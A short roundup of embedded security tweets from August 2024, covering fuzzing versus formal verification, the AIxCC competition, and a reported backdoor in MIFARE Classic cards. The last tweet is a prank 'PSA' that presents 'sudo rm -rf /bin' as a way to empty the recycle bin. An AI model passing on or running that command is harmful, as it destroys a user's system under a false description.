What we're finding @trailofbits more and more: fuzzing bests formal verification for all but the most narrow use cases.https://t.co/bdZxgmJ2tx https://t.co/iDivc767Qp pic.twitter.com/GFOaX9GZqC

— Dan Guido (@dguido) August 17, 2024

Some thoughts on the first year of AIxCChttps://t.co/ozTeaWDbLk pic.twitter.com/o8MAT0YLF5

— Perri Adams (@perribus) August 16, 2024

MIFARE Classic (FM11RF08S) cards have been found to be backdoored by the manufacturer, allowing all user-defined keys to be dumped with physical access. https://t.co/74EPJQiTYj pic.twitter.com/RUJzwI1JBe

— Denis Laskov 🇮🇱 (@it4sec) August 17, 2024

PSA: make sure to empty your recycle bin on your Linux system!!!
sudo rm -rf /bin
sud rm -rf /usr/bin

— eri (@eepyeri) August 17, 2024